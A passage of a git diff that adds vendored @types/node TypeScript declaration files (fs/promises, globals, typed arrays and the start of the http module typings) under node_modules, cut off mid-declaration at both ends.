AsyncIterable>; + /** + * Asynchronously copies the entire directory structure from `src` to `dest`, + * including subdirectories and files. + * + * When copying a directory to another directory, globs are not supported and + * behavior is similar to `cp dir1/ dir2/`. + * @since v16.7.0 + * @experimental + * @param src source path to copy. + * @param dest destination path to copy to. + * @return Fulfills with `undefined` upon success. + */ + function cp(source: string | URL, destination: string | URL, opts?: CopyOptions): Promise; + /** + * Retrieves the files matching the specified pattern. + */ + function glob(pattern: string | string[]): AsyncIterableIterator; + function glob( + pattern: string | string[], + opt: GlobOptionsWithFileTypes, + ): AsyncIterableIterator; + function glob( + pattern: string | string[], + opt: GlobOptionsWithoutFileTypes, + ): AsyncIterableIterator; + function glob( + pattern: string | string[], + opt: GlobOptions, + ): AsyncIterableIterator | AsyncIterableIterator; +} +declare module "node:fs/promises" { + export * from "fs/promises"; +} diff --git a/node_modules/@types/node/globals.d.ts b/node_modules/@types/node/globals.d.ts new file mode 100644 index 000000000000..0899392d5a31 --- /dev/null +++ b/node_modules/@types/node/globals.d.ts @@ -0,0 +1,597 @@ +export {}; // Make this a module + +// #region Fetch and friends +// Conditional type aliases, used at the end of this file. +// Will either be empty if lib.dom (or lib.webworker) is included, or the undici version otherwise. +type _Request = typeof globalThis extends { onmessage: any } ? {} : import("undici-types").Request; +type _Response = typeof globalThis extends { onmessage: any } ? {} : import("undici-types").Response; +type _FormData = typeof globalThis extends { onmessage: any } ? {} : import("undici-types").FormData; +type _Headers = typeof globalThis extends { onmessage: any } ? {} : import("undici-types").Headers; +type _MessageEvent = typeof globalThis extends { onmessage: any } ? {} : import("undici-types").MessageEvent; +type _RequestInit = typeof globalThis extends { onmessage: any } ? {} + : import("undici-types").RequestInit; +type _ResponseInit = typeof globalThis extends { onmessage: any } ? {} + : import("undici-types").ResponseInit; +type _WebSocket = typeof globalThis extends { onmessage: any } ? {} : import("undici-types").WebSocket; +type _EventSource = typeof globalThis extends { onmessage: any } ? {} : import("undici-types").EventSource; +// #endregion Fetch and friends + +// Conditional type definitions for webstorage interface, which conflicts with lib.dom otherwise. +type _Storage = typeof globalThis extends { onabort: any } ? {} : { + /** + * Returns the number of key/value pairs. + * + * [MDN Reference](https://developer.mozilla.org/docs/Web/API/Storage/length) + */ + readonly length: number; + /** + * Removes all key/value pairs, if there are any. + * + * [MDN Reference](https://developer.mozilla.org/docs/Web/API/Storage/clear) + */ + clear(): void; + /** + * Returns the current value associated with the given key, or null if the given key does not exist. + * + * [MDN Reference](https://developer.mozilla.org/docs/Web/API/Storage/getItem) + */ + getItem(key: string): string | null; + /** + * Returns the name of the nth key, or null if n is greater than or equal to the number of key/value pairs. + * + * [MDN Reference](https://developer.mozilla.org/docs/Web/API/Storage/key) + */ + key(index: number): string | null; + /** + * Removes the key/value pair with the given key, if a key/value pair with the given key exists. + * + * [MDN Reference](https://developer.mozilla.org/docs/Web/API/Storage/removeItem) + */ + removeItem(key: string): void; + /** + * Sets the value of the pair identified by key to value, creating a new key/value pair if none existed for key previously. + * + * Throws a "QuotaExceededError" DOMException exception if the new value couldn't be set. + * + * [MDN Reference](https://developer.mozilla.org/docs/Web/API/Storage/setItem) + */ + setItem(key: string, value: string): void; + [key: string]: any; +}; + +// #region DOMException +type _DOMException = typeof globalThis extends { onmessage: any } ? {} : NodeDOMException; +interface NodeDOMException extends Error { + /** + * @deprecated + * + * [MDN Reference](https://developer.mozilla.org/docs/Web/API/DOMException/code) + */ + readonly code: number; + /** [MDN Reference](https://developer.mozilla.org/docs/Web/API/DOMException/message) */ + readonly message: string; + /** [MDN Reference](https://developer.mozilla.org/docs/Web/API/DOMException/name) */ + readonly name: string; + readonly INDEX_SIZE_ERR: 1; + readonly DOMSTRING_SIZE_ERR: 2; + readonly HIERARCHY_REQUEST_ERR: 3; + readonly WRONG_DOCUMENT_ERR: 4; + readonly INVALID_CHARACTER_ERR: 5; + readonly NO_DATA_ALLOWED_ERR: 6; + readonly NO_MODIFICATION_ALLOWED_ERR: 7; + readonly NOT_FOUND_ERR: 8; + readonly NOT_SUPPORTED_ERR: 9; + readonly INUSE_ATTRIBUTE_ERR: 10; + readonly INVALID_STATE_ERR: 11; + readonly SYNTAX_ERR: 12; + readonly INVALID_MODIFICATION_ERR: 13; + readonly NAMESPACE_ERR: 14; + readonly INVALID_ACCESS_ERR: 15; + readonly VALIDATION_ERR: 16; + readonly TYPE_MISMATCH_ERR: 17; + readonly SECURITY_ERR: 18; + readonly NETWORK_ERR: 19; + readonly ABORT_ERR: 20; + readonly URL_MISMATCH_ERR: 21; + readonly QUOTA_EXCEEDED_ERR: 22; + readonly TIMEOUT_ERR: 23; + readonly INVALID_NODE_TYPE_ERR: 24; + readonly DATA_CLONE_ERR: 25; +} +interface NodeDOMExceptionConstructor { + prototype: DOMException; + new(message?: string, nameOrOptions?: string | { name?: string; cause?: unknown }): DOMException; + readonly INDEX_SIZE_ERR: 1; + readonly DOMSTRING_SIZE_ERR: 2; + readonly HIERARCHY_REQUEST_ERR: 3; + readonly WRONG_DOCUMENT_ERR: 4; + readonly INVALID_CHARACTER_ERR: 5; + readonly NO_DATA_ALLOWED_ERR: 6; + readonly NO_MODIFICATION_ALLOWED_ERR: 7; + readonly NOT_FOUND_ERR: 8; + readonly NOT_SUPPORTED_ERR: 9; + readonly INUSE_ATTRIBUTE_ERR: 10; + readonly INVALID_STATE_ERR: 11; + readonly SYNTAX_ERR: 12; + readonly INVALID_MODIFICATION_ERR: 13; + readonly NAMESPACE_ERR: 14; + readonly INVALID_ACCESS_ERR: 15; + readonly VALIDATION_ERR: 16; + readonly TYPE_MISMATCH_ERR: 17; + readonly SECURITY_ERR: 18; + readonly NETWORK_ERR: 19; + readonly ABORT_ERR: 20; + readonly URL_MISMATCH_ERR: 21; + readonly QUOTA_EXCEEDED_ERR: 22; + readonly TIMEOUT_ERR: 23; + readonly INVALID_NODE_TYPE_ERR: 24; + readonly DATA_CLONE_ERR: 25; +} +// #endregion DOMException + +declare global { + // Declare "static" methods in Error + interface ErrorConstructor { + /** Create .stack property on a target object */ + captureStackTrace(targetObject: object, constructorOpt?: Function): void; + + /** + * Optional override for formatting stack traces + * + * @see https://v8.dev/docs/stack-trace-api#customizing-stack-traces + */ + prepareStackTrace?: ((err: Error, stackTraces: NodeJS.CallSite[]) => any) | undefined; + + stackTraceLimit: number; + } + + /*-----------------------------------------------* + * * + * GLOBAL * + * * + ------------------------------------------------*/ + + // For backwards compability + interface NodeRequire extends NodeJS.Require {} + interface RequireResolve extends NodeJS.RequireResolve {} + interface NodeModule extends NodeJS.Module {} + + var process: NodeJS.Process; + var console: Console; + + var __filename: string; + var __dirname: string; + + var require: NodeRequire; + var module: NodeModule; + + // Same as module.exports + var exports: any; + + interface GCFunction { + (options: { + execution?: "sync"; + flavor?: "regular" | "last-resort"; + type?: "major-snapshot" | "major" | "minor"; + filename?: string; + }): void; + (options: { + execution: "async"; + flavor?: "regular" | "last-resort"; + type?: "major-snapshot" | "major" | "minor"; + filename?: string; + }): Promise; + (options?: boolean): void; + } + + /** + * Only available if `--expose-gc` is passed to the process. + */ + var gc: undefined | GCFunction; + + // #region borrowed + // from https://github.com/microsoft/TypeScript/blob/38da7c600c83e7b31193a62495239a0fe478cb67/lib/lib.webworker.d.ts#L633 until moved to separate lib + /** A controller object that allows you to abort one or more DOM requests as and when desired. */ + interface AbortController { + /** + * Returns the AbortSignal object associated with this object. + */ + + readonly signal: AbortSignal; + /** + * Invoking this method will set this object's AbortSignal's aborted flag and signal to any observers that the associated activity is to be aborted. + */ + abort(reason?: any): void; + } + + /** A signal object that allows you to communicate with a DOM request (such as a Fetch) and abort it if required via an AbortController object. */ + interface AbortSignal extends EventTarget { + /** + * Returns true if this AbortSignal's AbortController has signaled to abort, and false otherwise. + */ + readonly aborted: boolean; + readonly reason: any; + onabort: null | ((this: AbortSignal, event: Event) => any); + throwIfAborted(): void; + } + + var AbortController: typeof globalThis extends { onmessage: any; AbortController: infer T } ? T + : { + prototype: AbortController; + new(): AbortController; + }; + + var AbortSignal: typeof globalThis extends { onmessage: any; AbortSignal: infer T } ? T + : { + prototype: AbortSignal; + new(): AbortSignal; + abort(reason?: any): AbortSignal; + timeout(milliseconds: number): AbortSignal; + any(signals: AbortSignal[]): AbortSignal; + }; + // #endregion borrowed + + // #region Storage + /** + * This Web Storage API interface provides access to a particular domain's session or local storage. It allows, for example, the addition, modification, or deletion of stored data items. + * + * [MDN Reference](https://developer.mozilla.org/docs/Web/API/Storage) + */ + interface Storage extends _Storage {} + + // Conditional on `onabort` rather than `onmessage`, in order to exclude lib.webworker + var Storage: typeof globalThis extends { onabort: any; Storage: infer T } ? T + : { + prototype: Storage; + new(): Storage; + }; + + /** + * A browser-compatible implementation of [`localStorage`](https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage). + * Data is stored unencrypted in the file specified by the `--localstorage-file` CLI flag. + * Any modification of this data outside of the Web Storage API is not supported. + * Enable this API with the `--experimental-webstorage` CLI flag. + * @since v22.4.0 + */ + var localStorage: Storage; + + /** + * A browser-compatible implementation of [`sessionStorage`](https://developer.mozilla.org/en-US/docs/Web/API/Window/sessionStorage). + * Data is stored in memory, with a storage quota of 10 MB. + * Any modification of this data outside of the Web Storage API is not supported. + * Enable this API with the `--experimental-webstorage` CLI flag. + * @since v22.4.0 + */ + var sessionStorage: Storage; + // #endregion Storage + + // #region Disposable + interface SymbolConstructor { + /** + * A method that is used to release resources held by an object. Called by the semantics of the `using` statement. + */ + readonly dispose: unique symbol; + + /** + * A method that is used to asynchronously release resources held by an object. Called by the semantics of the `await using` statement. + */ + readonly asyncDispose: unique symbol; + } + + interface Disposable { + [Symbol.dispose](): void; + } + + interface AsyncDisposable { + [Symbol.asyncDispose](): PromiseLike; + } + // #endregion Disposable + + // #region ArrayLike.at() + interface RelativeIndexable { + /** + * Takes an integer value and returns the item at that index, + * allowing for positive and negative integers. + * Negative integers count back from the last item in the array. + */ + at(index: number): T | undefined; + } + interface String extends RelativeIndexable {} + interface Array extends RelativeIndexable {} + interface ReadonlyArray extends RelativeIndexable {} + interface Int8Array extends RelativeIndexable {} + interface Uint8Array extends RelativeIndexable {} + interface Uint8ClampedArray extends RelativeIndexable {} + interface Int16Array extends RelativeIndexable {} + interface Uint16Array extends RelativeIndexable {} + interface Int32Array extends RelativeIndexable {} + interface Uint32Array extends RelativeIndexable {} + interface Float32Array extends RelativeIndexable {} + interface Float64Array extends RelativeIndexable {} + interface BigInt64Array extends RelativeIndexable {} + interface BigUint64Array extends RelativeIndexable {} + // #endregion ArrayLike.at() end + + /** + * @since v17.0.0 + * + * Creates a deep clone of an object. + */ + function structuredClone( + value: T, + transfer?: { transfer: ReadonlyArray }, + ): T; + + // #region DOMException + /** + * @since v17.0.0 + * An abnormal event (called an exception) which occurs as a result of calling a method or accessing a property of a web API. + * + * [MDN Reference](https://developer.mozilla.org/docs/Web/API/DOMException) + */ + interface DOMException extends _DOMException {} + + /** + * @since v17.0.0 + * + * The WHATWG `DOMException` class. See [DOMException](https://developer.mozilla.org/docs/Web/API/DOMException) for more details. + */ + var DOMException: typeof globalThis extends { onmessage: any; DOMException: infer T } ? T + : NodeDOMExceptionConstructor; + // #endregion DOMException + + /*----------------------------------------------* + * * + * GLOBAL INTERFACES * + * * + *-----------------------------------------------*/ + namespace NodeJS { + interface CallSite { + /** + * Value of "this" + */ + getThis(): unknown; + + /** + * Type of "this" as a string. + * This is the name of the function stored in the constructor field of + * "this", if available. Otherwise the object's [[Class]] internal + * property. + */ + getTypeName(): string | null; + + /** + * Current function + */ + getFunction(): Function | undefined; + + /** + * Name of the current function, typically its name property. + * If a name property is not available an attempt will be made to try + * to infer a name from the function's context. + */ + getFunctionName(): string | null; + + /** + * Name of the property [of "this" or one of its prototypes] that holds + * the current function + */ + getMethodName(): string | null; + + /** + * Name of the script [if this function was defined in a script] + */ + getFileName(): string | undefined; + + /** + * Current line number [if this function was defined in a script] + */ + getLineNumber(): number | null; + + /** + * Current column number [if this function was defined in a script] + */ + getColumnNumber(): number | null; + + /** + * A call site object representing the location where eval was called + * [if this function was created using a call to eval] + */ + getEvalOrigin(): string | undefined; + + /** + * Is this a toplevel invocation, that is, is "this" the global object? + */ + isToplevel(): boolean; + + /** + * Does this call take place in code defined by a call to eval? + */ + isEval(): boolean; + + /** + * Is this call in native V8 code? + */ + isNative(): boolean; + + /** + * Is this a constructor call? + */ + isConstructor(): boolean; + + /** + * is this an async call (i.e. await, Promise.all(), or Promise.any())? + */ + isAsync(): boolean; + + /** + * is this an async call to Promise.all()? + */ + isPromiseAll(): boolean; + + /** + * returns the index of the promise element that was followed in + * Promise.all() or Promise.any() for async stack traces, or null + * if the CallSite is not an async + */ + getPromiseIndex(): number | null; + + getScriptNameOrSourceURL(): string; + getScriptHash(): string; + + getEnclosingColumnNumber(): number; + getEnclosingLineNumber(): number; + getPosition(): number; + + toString(): string; + } + + interface ErrnoException extends Error { + errno?: number | undefined; + code?: string | undefined; + path?: string | undefined; + syscall?: string | undefined; + } + + interface ReadableStream extends EventEmitter { + readable: boolean; + read(size?: number): string | Buffer; + setEncoding(encoding: BufferEncoding): this; + pause(): this; + resume(): this; + isPaused(): boolean; + pipe(destination: T, options?: { end?: boolean | undefined }): T; + unpipe(destination?: WritableStream): this; + unshift(chunk: string | Uint8Array, encoding?: BufferEncoding): void; + wrap(oldStream: ReadableStream): this; + [Symbol.asyncIterator](): AsyncIterableIterator; + } + + interface WritableStream extends EventEmitter { + writable: boolean; + write(buffer: Uint8Array | string, cb?: (err?: Error | null) => void): boolean; + write(str: string, encoding?: BufferEncoding, cb?: (err?: Error | null) => void): boolean; + end(cb?: () => void): this; + end(data: string | Uint8Array, cb?: () => void): this; + end(str: string, encoding?: BufferEncoding, cb?: () => void): this; + } + + interface ReadWriteStream extends ReadableStream, WritableStream {} + + interface RefCounted { + ref(): this; + unref(): this; + } + + interface Require { + (id: string): any; + resolve: RequireResolve; + cache: Dict; + /** + * @deprecated + */ + extensions: RequireExtensions; + main: Module | undefined; + } + + interface RequireResolve { + (id: string, options?: { paths?: string[] | undefined }): string; + paths(request: string): string[] | null; + } + + interface RequireExtensions extends Dict<(m: Module, filename: string) => any> { + ".js": (m: Module, filename: string) => any; + ".json": (m: Module, filename: string) => any; + ".node": (m: Module, filename: string) => any; + } + interface Module { + /** + * `true` if the module is running during the Node.js preload + */ + isPreloading: boolean; + exports: any; + require: Require; + id: string; + filename: string; + loaded: boolean; + /** @deprecated since v14.6.0 Please use `require.main` and `module.children` instead. */ + parent: Module | null | undefined; + children: Module[]; + /** + * @since v11.14.0 + * + * The directory name of the module. This is usually the same as the path.dirname() of the module.id. + */ + path: string; + paths: string[]; + } + + interface Dict { + [key: string]: T | undefined; + } + + interface ReadOnlyDict { + readonly [key: string]: T | undefined; + } + } + + interface RequestInit extends _RequestInit {} + + function fetch( + input: string | URL | globalThis.Request, + init?: RequestInit, + ): Promise; + + interface Request extends _Request {} + var Request: typeof globalThis extends { + onmessage: any; + Request: infer T; + } ? T + : typeof import("undici-types").Request; + + interface ResponseInit extends _ResponseInit {} + + interface Response extends _Response {} + var Response: typeof globalThis extends { + onmessage: any; + Response: infer T; + } ? T + : typeof import("undici-types").Response; + + interface FormData extends _FormData {} + var FormData: typeof globalThis extends { + onmessage: any; + FormData: infer T; + } ? T + : typeof import("undici-types").FormData; + + interface Headers extends _Headers {} + var Headers: typeof globalThis extends { + onmessage: any; + Headers: infer T; + } ? T + : typeof import("undici-types").Headers; + + interface MessageEvent extends _MessageEvent {} + /** + * @since v15.0.0 + */ + var MessageEvent: typeof globalThis extends { + onmessage: any; + MessageEvent: infer T; + } ? T + : typeof import("undici-types").MessageEvent; + + interface WebSocket extends _WebSocket {} + var WebSocket: typeof globalThis extends { onmessage: any; WebSocket: infer T } ? T + : typeof import("undici-types").WebSocket; + + interface EventSource extends _EventSource {} + /** + * Only available through the [--experimental-eventsource](https://nodejs.org/api/cli.html#--experimental-eventsource) flag. + * + * @since v22.3.0 + */ + var EventSource: typeof globalThis extends { onmessage: any; EventSource: infer T } ? T + : typeof import("undici-types").EventSource; +} diff --git a/node_modules/@types/node/globals.global.d.ts b/node_modules/@types/node/globals.global.d.ts new file mode 100644 index 000000000000..ef1198c05024 --- /dev/null +++ b/node_modules/@types/node/globals.global.d.ts @@ -0,0 +1 @@ +declare var global: typeof globalThis; diff --git a/node_modules/@types/node/globals.typedarray.d.ts b/node_modules/@types/node/globals.typedarray.d.ts new file mode 100644 index 000000000000..0c7280c3d8a9 --- /dev/null +++ b/node_modules/@types/node/globals.typedarray.d.ts @@ -0,0 +1,21 @@ +export {}; // Make this a module + +declare global { + namespace NodeJS { + type TypedArray = + | Uint8Array + | Uint8ClampedArray + | Uint16Array + | Uint32Array + | Int8Array + | Int16Array + | Int32Array + | BigUint64Array + | BigInt64Array + | Float32Array + | Float64Array; + type ArrayBufferView = + | TypedArray + | DataView; + } +} diff --git a/node_modules/@types/node/http.d.ts b/node_modules/@types/node/http.d.ts new file mode 100644 index 000000000000..e05e96a206b6 --- /dev/null +++ b/node_modules/@types/node/http.d.ts @@ -0,0 +1,1921 @@ +/** + * To use the HTTP server and client one must import the `node:http` module. + * + * The HTTP interfaces in Node.js are designed to support many features + * of the protocol which have been traditionally difficult to use. + * In particular, large, possibly chunk-encoded, messages. The interface is + * careful to never buffer entire requests or responses, so the + * user is able to stream data. + * + * HTTP message headers are represented by an object like this: + * + * ```json + * { "content-length": "123", + * "content-type": "text/plain", + * "connection": "keep-alive", + * "host": "example.com", + * "accept": "*" } + * ``` + * + * Keys are lowercased. Values are not modified. + * + * In order to support the full spectrum of possible HTTP applications, the Node.js + * HTTP API is very low-level. It deals with stream handling and message + * parsing only. It parses a message into headers and body but it does not + * parse the actual headers or the body. + * + * See `message.headers` for details on how duplicate headers are handled. + * + * The raw headers as they were received are retained in the `rawHeaders` property, which is an array of `[key, value, key2, value2, ...]`. For + * example, the previous message header object might have a `rawHeaders` list like the following: + * + * ```js + * [ 'ConTent-Length', '123456', + * 'content-LENGTH', '123', + * 'content-type', 'text/plain', + * 'CONNECTION', 'keep-alive', + * 'Host', 'example.com', + * 'accepT', '*' ] + * ``` + * @see [source](https://github.com/nodejs/node/blob/v22.x/lib/http.js) + */ +declare module "http" { + import * as stream from "node:stream"; + import { URL } from "node:url"; + import { LookupOptions } from "node:dns"; + import { EventEmitter } from "node:events"; + import { LookupFunction, Server as NetServer, Socket, TcpSocketConnectOpts } from "node:net"; + // incoming headers will never contain number + interface IncomingHttpHeaders extends NodeJS.Dict { + accept?: string | undefined; + "accept-language"?: string | undefined; + "accept-patch"?: string | undefined; + "accept-ranges"?: string | undefined; + "access-control-allow-credentials"?: string | undefined; + "access-control-allow-headers"?: string | undefined; + "access-control-allow-methods"?: string | undefined; + "access-control-allow-origin"?: string | undefined; + "access-control-expose-headers"?: string | undefined; + "access-control-max-age"?: string | undefined; + "access-control-request-headers"?: string | undefined; + "access-control-request-method"?: string | undefined; + age?: string | undefined; + allow?: string | undefined; + "alt-svc"?: string | undefined; + authorization?: string | undefined; + "cache-control"?: string | undefined; + connection?: string | undefined; + "content-disposition"?: string | undefined; + "content-encoding"?: string | undefined; + "content-language"?: string | undefined; + "content-length"?: string | undefined; + "content-location"?: string | undefined; + "content-range"?: string | undefined; + "content-type"?: string | undefined; + cookie?: string | undefined; + date?: string | undefined; + etag?: string | undefined; + expect?: string | undefined; + expires?: string | undefined; + forwarded?: string | undefined; + from?: string | undefined; + host?: string | undefined; + "if-match"?: string | undefined; + "if-modified-since"?: string | undefined; + "if-none-match"?: string | undefined; + "if-unmodified-since"?: string | undefined; + "last-modified"?: string | undefined; + location?: string | undefined; + origin?: string | undefined; + pragma?: string | undefined; + "proxy-authenticate"?: string | undefined; + "proxy-authorization"?: string | undefined; + "public-key-pins"?: string | undefined; + range?: string | undefined; + referer?: string | undefined; + "retry-after"?: string | undefined; + "sec-websocket-accept"?: string | undefined; + "sec-websocket-extensions"?: string | undefined; + "sec-websocket-key"?: string | undefined; + "sec-websocket-protocol"?: string | undefined; + "sec-websocket-version"?: string | undefined; + "set-cookie"?: string[] | undefined; + "strict-transport-security"?: string | undefined; + tk?: string | undefined; + trailer?: string | undefined; + "transfer-encoding"?: string | undefined; + upgrade?: string | undefined; + "user-agent"?: string | undefined; + vary?: string | undefined; + via?: string | undefined; + warning?: string | undefined; + "www-authenticate"?: string | undefined; + } + // outgoing headers allows numbers (as they are converted internally to strings) + type OutgoingHttpHeader = number | string | string[]; + interface OutgoingHttpHeaders extends NodeJS.Dict { + accept?: string | string[] | undefined; + "accept-charset"?: string | string[] | undefined; + "accept-encoding"?: string | string[] | undefined; + "accept-language"?: string | string[] | undefined; + "accept-ranges"?: string | undefined; + "access-control-allow-credentials"?: string | undefined; + "access-control-allow-headers"?: string | undefined; + "access-control-allow-methods"?: string | undefined; + "access-control-allow-origin"?: string | undefined; + "access-control-expose-headers"?: string | undefined; + "access-control-max-age"?: string | undefined; + "access-control-request-headers"?: string | undefined; + "access-control-request-method"?: string | undefined; + age?: string | undefined; + allow?: string | undefined; + authorization?: string | undefined; + "cache-control"?: string | undefined; + "cdn-cache-control"?: string | undefined; + connection?: string | string[] | undefined; + "content-disposition"?: string | undefined; + "content-encoding"?: string | undefined; + "content-language"?: string | undefined; + "content-length"?: string | number | undefined; + "content-location"?: string | undefined; + "content-range"?: string | undefined; + "content-security-policy"?: string | undefined; + "content-security-policy-report-only"?: string | undefined; + cookie?: string | string[] | undefined; + dav?: string | string[] | undefined; + dnt?: string | undefined; + date?: string | undefined; + etag?: string | undefined; + expect?: string | undefined; + expires?: string | undefined; + forwarded?: string | undefined; + from?: string | undefined; + host?: string | undefined; + "if-match"?: string | undefined; + "if-modified-since"?: string | undefined; + "if-none-match"?: string | undefined; + "if-range"?: string | undefined; + "if-unmodified-since"?: string | undefined; + "last-modified"?: string | undefined; + link?: string | string[] | undefined; + location?: string | undefined; + "max-forwards"?: string | undefined; + origin?: string | undefined; + prgama?: string | string[] | undefined; + "proxy-authenticate"?: string | string[] | undefined; + "proxy-authorization"?: string | undefined; + "public-key-pins"?: string | undefined; + "public-key-pins-report-only"?: string | undefined; + range?: string | undefined; + referer?: string | undefined; + "referrer-policy"?: string | undefined; + refresh?: string | undefined; + "retry-after"?: string | undefined; + "sec-websocket-accept"?: string | undefined; + "sec-websocket-extensions"?: string | string[] | undefined; + "sec-websocket-key"?: string | undefined; + "sec-websocket-protocol"?: string | string[] | undefined; + "sec-websocket-version"?: string | undefined; + server?: string | undefined; + "set-cookie"?: string | string[] | undefined; + "strict-transport-security"?: string | undefined; + te?: string | undefined; + trailer?: string | undefined; + "transfer-encoding"?: string | undefined; + "user-agent"?: string | undefined; + upgrade?: string | undefined; + "upgrade-insecure-requests"?: string | undefined; + vary?: string | undefined; + via?: string | string[] | undefined; + warning?: string | undefined; + "www-authenticate"?: string | string[] | undefined; + "x-content-type-options"?: string | undefined; + "x-dns-prefetch-control"?: string | undefined; + "x-frame-options"?: string | undefined; + "x-xss-protection"?: string | undefined; + } + interface ClientRequestArgs { + _defaultAgent?: Agent | undefined; + agent?: Agent | boolean | undefined; + auth?: string | null | undefined; + createConnection?: + | (( + options: ClientRequestArgs, + oncreate: (err: Error | null, socket: stream.Duplex) => void, + ) => stream.Duplex | null | undefined) + | undefined; + defaultPort?: number | string | undefined; + family?: number | undefined; + headers?: OutgoingHttpHeaders | undefined; + hints?: LookupOptions["hints"]; + host?: string | null | undefined; + hostname?: string | null | undefined; + insecureHTTPParser?: boolean | undefined; + localAddress?: string | undefined; + localPort?: number | undefined; + lookup?: LookupFunction | undefined; + /** + * @default 16384 + */ + maxHeaderSize?: number | undefined; + method?: string | undefined; + path?: string | null | undefined; + port?: number | string | null | undefined; + protocol?: string | null | undefined; + setHost?: boolean | undefined; + signal?: AbortSignal | undefined; + socketPath?: string | undefined; + timeout?: number | undefined; + uniqueHeaders?: Array | undefined; + joinDuplicateHeaders?: boolean; + } + interface ServerOptions< + Request extends typeof IncomingMessage = typeof IncomingMessage, + Response extends typeof ServerResponse> = typeof ServerResponse, + > { + /** + * Specifies the `IncomingMessage` class to be used. Useful for extending the original `IncomingMessage`. + */ + IncomingMessage?: Request | undefined; + /** + * Specifies the `ServerResponse` class to be used. Useful for extending the original `ServerResponse`. + */ + ServerResponse?: Response | undefined; + /** + * Sets the timeout value in milliseconds for receiving the entire request from the client. + * @see Server.requestTimeout for more information. + * @default 300000 + * @since v18.0.0 + */ + requestTimeout?: number | undefined; + /** + * It joins the field line values of multiple headers in a request with `, ` instead of discarding the duplicates. + * @default false + * @since v18.14.0 + */ + joinDuplicateHeaders?: boolean; + /** + * The number of milliseconds of inactivity a server needs to wait for additional incoming data, + * after it has finished writing the last response, before a socket will be destroyed. + * @see Server.keepAliveTimeout for more information. + * @default 5000 + * @since v18.0.0 + */ + keepAliveTimeout?: number | undefined; + /** + * Sets the interval value in milliseconds to check for request and headers timeout in incomplete requests. + * @default 30000 + */ + connectionsCheckingInterval?: number | undefined; + /** + * Optionally overrides all `socket`s' `readableHighWaterMark` and `writableHighWaterMark`. + * This affects `highWaterMark` property of both `IncomingMessage` and `ServerResponse`. + * Default: @see stream.getDefaultHighWaterMark(). + * @since v20.1.0 + */ + highWaterMark?: number | undefined; + /** + * Use an insecure HTTP parser that accepts invalid HTTP headers when `true`. + * Using the insecure parser should be avoided. + * See --insecure-http-parser for more information. + * @default false + */ + insecureHTTPParser?: boolean | undefined; + /** + * Optionally overrides the value of `--max-http-header-size` for requests received by + * this server, i.e. the maximum length of request headers in bytes. + * @default 16384 + * @since v13.3.0 + */ + maxHeaderSize?: number | undefined; + /** + * If set to `true`, it disables the use of Nagle's algorithm immediately after a new incoming connection is received. + * @default true + * @since v16.5.0 + */ + noDelay?: boolean | undefined; + /** + * If set to `true`, it enables keep-alive functionality on the socket immediately after a new incoming connection is received, + * similarly on what is done in `socket.setKeepAlive([enable][, initialDelay])`. + * @default false + * @since v16.5.0 + */ + keepAlive?: boolean | undefined; + /** + * If set to a positive number, it sets the initial delay before the first keepalive probe is sent on an idle socket. + * @default 0 + * @since v16.5.0 + */ + keepAliveInitialDelay?: number | undefined; + /** + * A list of response headers that should be sent only once. + * If the header's value is an array, the items will be joined using `; `. + */ + uniqueHeaders?: Array | undefined; + } + type RequestListener< + Request extends typeof IncomingMessage = typeof IncomingMessage, + Response extends typeof ServerResponse> = typeof ServerResponse, + > = (req: InstanceType, res: InstanceType & { req: InstanceType }) => void; + /** + * @since v0.1.17 + */ + class Server< + Request extends typeof IncomingMessage = typeof IncomingMessage, + Response extends typeof ServerResponse> = typeof ServerResponse, + > extends NetServer { + constructor(requestListener?: RequestListener); + constructor(options: ServerOptions, requestListener?: RequestListener); + /** + * Sets the timeout value for sockets, and emits a `'timeout'` event on + * the Server object, passing the socket as an argument, if a timeout + * occurs. + * + * If there is a `'timeout'` event listener on the Server object, then it + * will be called with the timed-out socket as an argument. + * + * By default, the Server does not timeout sockets. However, if a callback + * is assigned to the Server's `'timeout'` event, timeouts must be handled + * explicitly. + * @since v0.9.12 + * @param [msecs=0 (no timeout)] + */ + setTimeout(msecs?: number, callback?: () => void): this; + setTimeout(callback: () => void): this; + /** + * Limits maximum incoming headers count. If set to 0, no limit will be applied. + * @since v0.7.0 + */ + maxHeadersCount: number | null; + /** + * The maximum number of requests socket can handle + * before closing keep alive connection. + * + * A value of `0` will disable the limit. + * + * When the limit is reached it will set the `Connection` header value to `close`, + * but will not actually close the connection, subsequent requests sent + * after the limit is reached will get `503 Service Unavailable` as a response. + * @since v16.10.0 + */ + maxRequestsPerSocket: number | null; + /** + * The number of milliseconds of inactivity before a socket is presumed + * to have timed out. + * + * A value of `0` will disable the timeout behavior on incoming connections. + * + * The socket timeout logic is set up on connection, so changing this + * value only affects new connections to the server, not any existing connections. + * @since v0.9.12 + */ + timeout: number; + /** + * Limit the amount of time the parser will wait to receive the complete HTTP + * headers. + * + * If the timeout expires, the server responds with status 408 without + * forwarding the request to the request listener and then closes the connection. + * + * It must be set to a non-zero value (e.g. 120 seconds) to protect against + * potential Denial-of-Service attacks in case the server is deployed without a + * reverse proxy in front. + * @since v11.3.0, v10.14.0 + */ + headersTimeout: number; + /** + * The number of milliseconds of inactivity a server needs to wait for additional + * incoming data, after it has finished writing the last response, before a socket + * will be destroyed. If the server receives new data before the keep-alive + * timeout has fired, it will reset the regular inactivity timeout, i.e., `server.timeout`. + * + * A value of `0` will disable the keep-alive timeout behavior on incoming + * connections. + * A value of `0` makes the http server behave similarly to Node.js versions prior + * to 8.0.0, which did not have a keep-alive timeout. + * + * The socket timeout logic is set up on connection, so changing this value only + * affects new connections to the server, not any existing connections. + * @since v8.0.0 + */ + keepAliveTimeout: number; + /** + * Sets the timeout value in milliseconds for receiving the entire request from + * the client. + * + * If the timeout expires, the server responds with status 408 without + * forwarding the request to the request listener and then closes the connection. + * + * It must be set to a non-zero value (e.g. 120 seconds) to protect against + * potential Denial-of-Service attacks in case the server is deployed without a + * reverse proxy in front. + * @since v14.11.0 + */ + requestTimeout: number; + /** + * Closes all connections connected to this server. + * @since v18.2.0 + */ + closeAllConnections(): void; + /** + * Closes all connections connected to this server which are not sending a request + * or waiting for a response. + * @since v18.2.0 + */ + closeIdleConnections(): void; + addListener(event: string, listener: (...args: any[]) => void): this; + addListener(event: "close", listener: () => void): this; + addListener(event: "connection", listener: (socket: Socket) => void): this; + addListener(event: "error", listener: (err: Error) => void): this; + addListener(event: "listening", listener: () => void): this; + addListener(event: "checkContinue", listener: RequestListener): this; + addListener(event: "checkExpectation", listener: RequestListener): this; + addListener(event: "clientError", listener: (err: Error, socket: stream.Duplex) => void): this; + addListener( + event: 